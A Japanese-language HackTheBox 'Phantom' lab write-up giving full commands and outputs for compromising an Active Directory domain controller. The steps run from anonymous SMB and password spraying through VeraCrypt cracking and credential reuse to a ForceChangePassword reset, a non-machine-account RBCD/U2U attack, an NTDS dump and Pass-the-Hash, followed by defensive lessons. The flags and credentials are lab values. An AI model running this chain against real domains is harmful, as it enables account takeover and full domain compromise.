HackTheBox: Phantom — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (phantom.vl)
→
AD DC (phantom.vl)
Public共有 匿名アクセス
EML添付PDFに平文パスワード
→
EML添付PDFに平文パスワード
RID Brute + スプレー
ibryant:Ph4nt0m@5t4rt!
→
ibryant:Ph4nt0m@5t4rt!
VeraCryptコンテナ
crunch+hashcatでPhantom2023!
→
crunch+hashcatでPhantom2023!
VyOS config.boot
SSTP PWの使い回し発見
→
SSTP PWの使い回し発見
WinRM
svc_sspr → user.txt ✓
→
svc_sspr → user.txt ✓
ForceChangePassword
wsilvaのパスワードリセット
→
wsilvaのパスワードリセット
non-machine-account RBCD
U2Uでセッション鍵書換
→
U2Uでセッション鍵書換
Administrator PtH
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.63 nmap -Pn -sV -sC -p 53,88,135,139,389,445,636,3268,3269,3389,5985,9389 10.129.234.63
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) 9389/tcp open mc-nmf .NET Message Framing Domain: phantom.vl / DC: DC.phantom.vl
ℹ️
典型的なWindows AD DCのポート構成。SMB(445)は匿名アクセスが一部許可されている。
SMB匿名共有列挙
BASH
echo "10.129.234.63 phantom.vl DC.phantom.vl" >> /etc/hosts netexec smb 10.129.234.63 -u '' -p '' --shares
RESULT
SMB共有: ADMIN$, C$, Share, NETLOGON, Public, SYSVOL
PHASE 2
Public共有のメール添付PDFから初期パスワードを発見
Public共有からEMLファイル取得
BASH
smbclient //10.129.234.63/Public -N -c 'get tech_support_email.eml'
RESULT
getting file \tech_support_email.eml of size 14565 as tech_support_email.eml (16.3 KiloBytes/sec)
BASH (base64添付PDFの展開)
# EMLをパースし添付ファイル(welcome_template.pdf, base64エンコード)をデコード
python3 -c "
import email
msg = email.message_from_file(open('tech_support_email.eml'))
for part in msg.walk():
if part.get_filename():
open(part.get_filename(), 'wb').write(part.get_payload(decode=True))
"
pdftotext welcome_template.pdf -
RESULT
Welcome to Phantom!
Dear <NAME>
We are excited to have you on board.
Below are your user credentials:
Username: <USERNAME>
Password: Ph4nt0m@5t4rt!
Please log in to your account using these credentials...
ℹ️
ユーザー名は伏せ字だが、パスワードの平文
Ph4nt0m@5t4rt! が
判明。これは初期ウェルカムパスワードであり、まだ変更していないユーザーが
いればスプレーで見つけられる。
RID Brute + パスワードスプレー
BASH
netexec smb 10.129.234.63 -u guest -p '' --rid-brute netexec smb 10.129.234.63 -u phantom_users.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success
RESULT
SMB ... [-] phantom.vl\ccooper:Ph4nt0m@5t4rt! STATUS_LOGON_FAILURE
SMB ... [-] phantom.vl\vcunningham:Ph4nt0m@5t4rt! STATUS_LOGON_FAILURE
[+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
✅
ibryant がまだ初期パスワードのままだった。
PHASE 3
VeraCryptコンテナ解析 → VyOSバックアップ → user.txt
Departments Shareの取得
BASH
smbclient //10.129.234.63/"Departments Share" -U ibryant%'Ph4nt0m@5t4rt!' \ -c 'cd IT; cd Backup; get IT_BACKUP_201123.hc'
ℹ️
Departments Shareはguestでは不可視で、認証後のユーザーにのみ
見える共有。IT/Backup/配下に暗号化されたVeraCryptコンテナ
IT_BACKUP_201123.hcが存在する。
VeraCryptパスワードのクラック
NOTE
# メール本文/PDFのヒントから "Phantom202X!" 形式のパスワードと推測し # カスタムワードリストを生成 crunch 12 12 -t 'Phantom202%^' -o phantom_base_wordlist # hashcatルールでバリエーション展開しつつVeraCryptヘッダをクラック hashcat -a 0 IT_BACKUP_201123.hc phantom_base_wordlist -m 13721 -r phantom_rules.rule
RESULT
IT_BACKUP_201123.hc:Phantom2023!
ℹ️
ハッシュモード
-m 13721 はVeraCrypt(SHA512+XTS 512bit)。
先頭512バイトを切り出す必要はなく、コンテナファイル全体をそのまま渡せる。
マウントとVyOSバックアップの解析
BASH
veracrypt --text --mount IT_BACKUP_201123.hc /mnt/veracrypt1 --password 'Phantom2023!' tar -xzf /mnt/veracrypt1/vyos_backup.tar.gz grep -A3 'authentication' config.boot
RESULT
username lstanley {
authentication {
plaintext-password gB6XTcqVP5MlP7Rc
}
}
⚠️
VyOSルーターのconfig.bootにSSTP VPNユーザー
lstanleyの
平文パスワードが記載されている。このパスワードが
ADアカウントsvc_ssprで使い回されている
(資格情報の再利用)。
svc_sspr へのスプレー & user.txt 取得
BASH
netexec smb 10.129.234.63 -u phantom_users.txt -p 'gB6XTcqVP5MlP7Rc' --continue-on-success
RESULT
SMB ... [-] phantom.vl\wsilva:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB ... [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc
BASH
netexec winrm 10.129.234.63 -u svc_sspr -p 'gB6XTcqVP5MlP7Rc' \ -x 'powershell -c Get-Content C:\Users\svc_sspr\Desktop\user.txt'
RESULT
WINRM ... [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc (Pwn3d!)
ced429c20b95d513c4972f1221f487f7
user.txt — svc_sspr
ced429c20b95d513c4972f1221f487f7
PHASE 4
ForceChangePassword → non-machine-account RBCD (U2U) → root.txt
BloodHoundでACLチェーンを確認
BASH
bloodhound-python -u svc_sspr -p 'gB6XTcqVP5MlP7Rc' -d phantom.vl -ns 10.129.234.63 -c All --zip # または rusthound-ce
ℹ️
BloodHoundで確認できるACLチェーン:
svc_ssprは
crose/wsilva/rnicholsに対して
ForceChangePassword権限を持つ。wsilvaは
ICT Securityグループのメンバーで、DCコンピュータオブジェクトの
msDS-AllowedToActOnBehalfOfOtherIdentity属性への
書き込み権限(RBCD設定可能)を持つ。
wsilvaのパスワードをリセット
BASH
net rpc password wsilva 'P@ssw0rd' -U 'phantom.vl/svc_sspr%gB6XTcqVP5MlP7Rc' -S DC.phantom.vl
ℹ️
svc_sspr の ForceChangePassword 権限で、パスワードを知っている状態の
P@ssw0rd にリセットする。
RBCDの設定(MachineAccountQuota=0のためnon-machine-account手法)
NOTE
MachineAccountQuota=0 のため通常のRBCD(攻撃者が新規コンピュータアカウントを 作成しSPNを持たせる手法)は使えない。代わりに、SPNを持たないアカウント (wsilva)自身に対しU2U(User-to-User)トリックでS4U2Selfを可能にする "non-machine-account RBCD"手法を用いる。
BASH (1. RBCD委任設定)
rbcd.py -delegate-to 'DC$' -delegate-from wsilva -action write \ phantom.vl/wsilva:'P@ssw0rd' -dc-ip 10.129.234.63
BASH (2. wsilvaのTGT取得)
getTGT.py phantom.vl/wsilva:'P@ssw0rd'
BASH (3. TGTのセッション鍵を抽出)
describeTicket.py wsilva.ccache
RESULT
[*] Ticket Session Key : <session_key_hex> [*] User Name : wsilva [*] Service Name : krbtgt/PHANTOM.VL [*] KeyType : rc4_hmac
BASH (4. wsilva自身のNTハッシュをセッション鍵に書き換え)
changepasswd.py -newhashes :<session_key_hex> \ phantom.vl/wsilva:'P@ssw0rd'@DC.phantom.vl
🚨
このステップがトリックの核心: wsilva自身のNTハッシュを
TGTのセッション鍵と同じ値に書き換えることで、U2U(User-to-User)認証時に
そのTGTがwsilva自身の”サービスキー”としても機能するようになる。
これによりSPNを持たないアカウントでもS4U2Self+S4U2Proxyの連鎖
(RBCD)が成立する。
Administrator としての S4U チケット取得
BASH
KRB5CCNAME=wsilva.ccache getST.py -u2u -impersonate Administrator \ -spn cifs/DC.phantom.vl phantom.vl/wsilva -k -no-pass
BASH (Pass-the-Ticketでcifs経由 NTDSダンプ)
KRB5CCNAME=Administrator.ccache netexec smb DC.phantom.vl \ --use-kcache --ntds --user Administrator
⚠️
Windows Server 2019/2022系では全件NTDSダンプがDCをクラッシュさせる
ことがあるため、
--user Administratorで対象を1アカウントに
絞って安全にダンプするのが推奨。
RESULT
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTハッシュ>:::
Pass-the-Hash で root.txt 取得
BASH
netexec winrm 10.129.234.63 -u administrator -H <NTハッシュ> \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM ... [+] phantom.vl\administrator:<NTハッシュ> (Pwn3d!)
WINRM ... [+] Executed command (shell type: cmd)
ed411e7ec706edf25aba2cbab2f9bcd8
root.txt — Administrator (Pass-the-Hash)
ed411e7ec706edf25aba2cbab2f9bcd8
🚨
抽出時の注意: netexecの出力は認証成功バナー行に
administrator:<NTハッシュ>という形でPass-the-Hashに
使ったNTハッシュ自体を32桁hexとしてエコーする。実際のroot.txtの内容
(これも32桁hex)はその後の行に出力されるため、
「出力中で最初に現れた32桁hex文字列」を機械的に抽出すると
認証用ハッシュを誤ってフラグとして取得してしまう。
コマンド出力は常にバナーより後に来るため、抽出は
最後に現れた32桁hexを採用するのが正しい
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc_sspr
ced429c20b95d513c4972f1221f487f7
root.txt — Administrator
ed411e7ec706edf25aba2cbab2f9bcd8
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 匿名共有の機密情報漏洩 | Public SMB共有 | 初期パスワード漏洩 | Medium | メール添付PDFに記載された初期ウェルカムパスワードを取得 |
| 初期パスワード未変更 + スプレー | ibryant アカウント | 初期ドメイン認証情報の取得 | Medium | RID Brute + パスワードスプレーで未変更ユーザーを特定 |
| VeraCrypt弱いパスワード + 資格情報再利用 | IT_BACKUP_201123.hc / VyOS config.boot | SSTP VPN資格情報の漏洩とADアカウントへの使い回し発見 | High | 推測可能なパターンのパスワードをcrunch+hashcatでクラックしVyOS設定内の平文パスワードを取得、AD(svc_sspr)への使い回しを確認 |
| ForceChangePassword + non-machine-account RBCD | wsilva → DC$ の委任設定 | Administrator権限への完全昇格 | Critical | ACL誤設定を突きwsilvaのパスワードをリセット、U2Uトリックでセッション鍵をNTハッシュとして書き込みSPNなしアカウントでもRBCDを成立させAdministratorへS4U委任 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + SMB匿名共有列挙 | AD DC (phantom.vl) 発見 |
| 2 | 初期パスワード発見 | Public共有のEML添付PDF | Ph4nt0m@5t4rt! → ibryant発見 |
| 3 | 資格情報連鎖 | VeraCryptクラック→VyOS config.boot→AD使い回し | svc_sspr:gB6XTcqVP5MlP7Rc → user.txt |
| 4 | ACL悪用 | ForceChangePassword + non-machine-account RBCD(U2U) | Administrator NTハッシュ |
| 5 | root取得 | Pass-the-Hash (WinRM) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 誰でもアクセス可能なSMB共有に初期パスワードが記載されたメール/PDFが放置されている | 機密情報を含むファイルを匿名/ゲストアクセス可能な共有に置かない。オンボーディング文書はアクセス制御された経路で配布する。 |
| 初期(ウェルカム)パスワードを変更していないユーザーが存在する | 初回ログイン時のパスワード変更を強制するポリシーを設定し、未変更アカウントを定期的に監査する。 |
| ネットワーク機器(VyOS)の設定バックアップに平文パスワードが保存され、さらにそのパスワードがADアカウントで使い回されている | 設定バックアップの暗号化を徹底し、パスワードの使い回しを禁止する。ネットワーク機器の認証情報とADの認証情報は完全に分離する。 |
| ForceChangePassword等の危険なACLが一般アカウント間に設定されており、RBCD悪用可能な委任権限を持つグループへの所属チェーンが存在する | BloodHound等で定期的にAD ACLを監査し、不要なForceChangePassword/GenericAll/WriteDacl等の権限を削除する。委任設定(RBCD)の変更権限を持つグループを最小化する。 |

